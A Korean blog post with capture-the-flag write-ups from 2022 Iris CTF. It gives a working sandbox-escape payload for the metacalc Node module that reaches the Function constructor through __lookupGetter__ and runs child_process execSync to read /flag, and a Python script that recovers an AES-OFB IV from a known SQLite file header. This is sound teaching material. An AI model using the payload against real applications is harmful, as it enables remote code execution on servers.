CTF Writeup

2022 Iris CTF

LittleDev0617 2023. 1. 8. 17:35

일요일 잠깐 시간내서 씨텦 참여

 

metacalc - __lookupGetter__('__proto__').constructor 를 통한 RCE

Nonces and Keys - 첫 블록의 원문이 파일 시그니처임을 이용한 IV 구하기

 

1. metacalc (Web)

metacalc 라는 node module 에서 RCE 취약점을 찾는 건데, 약간의 코드 패치가 이루어졌다.

아래는 metacalc/lib/sheet.js 이다.

'use strict';

const metavm = require('metavm');

const wrap = (target) =>
  new Proxy(target, {
    get: (target, prop) => {
      if (prop === 'constructor') return null;
+      if (prop === '__proto__') return null;
      const value = target[prop];
      if (typeof value === 'number') return value;
      return wrap(value);
    },
  });

-const math = wrap(Math);
+// Math has too much of an attack surface :(
+const SlightlyLessUsefulMath = new Object();
+const math = wrap(SlightlyLessUsefulMath);

const getValue = (target, prop) => {
  if (prop === 'Math') return math;
  const { expressions, data } = target;
  if (!expressions.has(prop)) return data.get(prop);
  const expression = expressions.get(prop);
  return expression();
};

const getCell = (target, prop) => {
  const { expressions, data } = target;
  const collection = expressions.has(prop) ? expressions : data;
  return collection.get(prop);
};

const setCell = (target, prop, value) => {
  if (typeof value === 'string' && value[0] === '=') {
    const src = '() => ' + value.substring(1);
    const options = { context: target.context };
    const script = metavm.createScript(prop, src, options);
    target.expressions.set(prop, script.exports);
  } else {
    target.data.set(prop, value);
  }
  return true;
};

class Sheet {
  constructor() {
    this.data = new Map();
    this.expressions = new Map();
    this.values = new Proxy(this, { get: getValue });
    this.context = metavm.createContext(this.values);
    this.cells = new Proxy(this, { get: getCell, set: setCell });
  }
}

module.exports = { Sheet };
// app.js

const { Sheet } = require('metacalc');
const readline = require('readline');

const rl = readline.createInterface({ input: process.stdin, output: process.stdout });
const sheet = new Sheet();
rl.question('I will add 1 to your input?? ', input => {
    sheet.cells["A1"] = 1;
    sheet.cells["A2"] = input;
    sheet.cells["A3"] = "=A1+A2";
    console.log(sheet.values["A3"]);
    process.exit(0);
});

 

해당 metacalc 2.0 버전은 이전 버전을 살펴보면 RCE가 터졌고, 이를 if(prop == 'constructor') 조건으로 해결하였다.

Payload는 =Math.ceil.constructor("console.log('EXPLOIT!!');")();  이고, 이는 Math.~~ 함수에 접근하면 Function constructor 에 접근할 수 있게 되어 발생한 취약점이었다.

하지만 패치에서 math 에 new Object() 를 할당 시켰고, __proto__ 까지 필터링하였다.

 

math는 Proxy object 이고, Object proto에는 __lookupGetter__ 라는 함수가 있다.

function 이다.

함수의 생성자에 명령어를 넘기면 함수가 생성된다.

constructor 필터링에 안 걸리는 이유는 __lookupGetter__('__proto__') 는 Proxy Object 가 아니기 때문이다.

__lookupGetter__.constructor 는 필터링 되지만 호출한 결과는 __proto__ function 이기 때문에 constructor에 access 할 수 있따.

 

최종 Payload

=Math.__lookupGetter__('__proto__')['constructor']("console.log(process.mainModule.require('child_process').execSync('cat /flag').toString());")();

 

 

2. Nonces and Keys (Crypto)

sqlite3 파일은 시그니쳐가 16바이트였다. 마지막 00 이 시그니처인지는 모르겠지만, 15바이트는 확정되었다.

AES-128-OFB 를 사용했다고 한다.

우리는 Key, Plaintext, ciphertext 를 모두 알고 있다. 그렇기에 IV 또한 알 수 있게 된다.

Cipher 와 Plain 을 Xor 한 후 key를 이용해 decrypt 하면 IV 를 얻을 수 있다.

from Crypto.Cipher import AES
from Crypto.Util.number import long_to_bytes, bytes_to_long

data = b''
with open('challenge_enc.sqlite3', 'rb') as f: data = f.read()

# Plain ^ Cipher
tt = 0x53514C69746520666F726D6174203300 ^ 0xB77506B0DB7AFC1A48A2D5E4F491C82D
key = 0x13371337133713371337133713371337

# get IV
c = AES.new(long_to_bytes(key),AES.MODE_ECB)
iv = c.decrypt(long_to_bytes(tt))

# Decrypt whole encrypted file with IV and key
c = AES.new(long_to_bytes(key),AES.MODE_OFB,iv)

with open('dec.db','wb') as f:
      f.write(c.decrypt(data))

hxd 로 열어서 봐도 되고, https://sqliteonline.com/ 에서 select * from users; 로 조회해도 플래그를 획득할 수 있다.

'CTF Writeup' 카테고리의 다른 글

2022 Incognito CTF Writeup  (0) 2023.03.26
2023 ACSC CTF Writeup - warmup + ngo  (0) 2023.02.26
Dreamhack Christmas CTF 2022 Writeup  (1) 2022.12.24
2022 Layer7 CTF Writeup  (0) 2022.12.19
2022 WhiteHatContest Junior Final Writeup  (0) 2022.11.20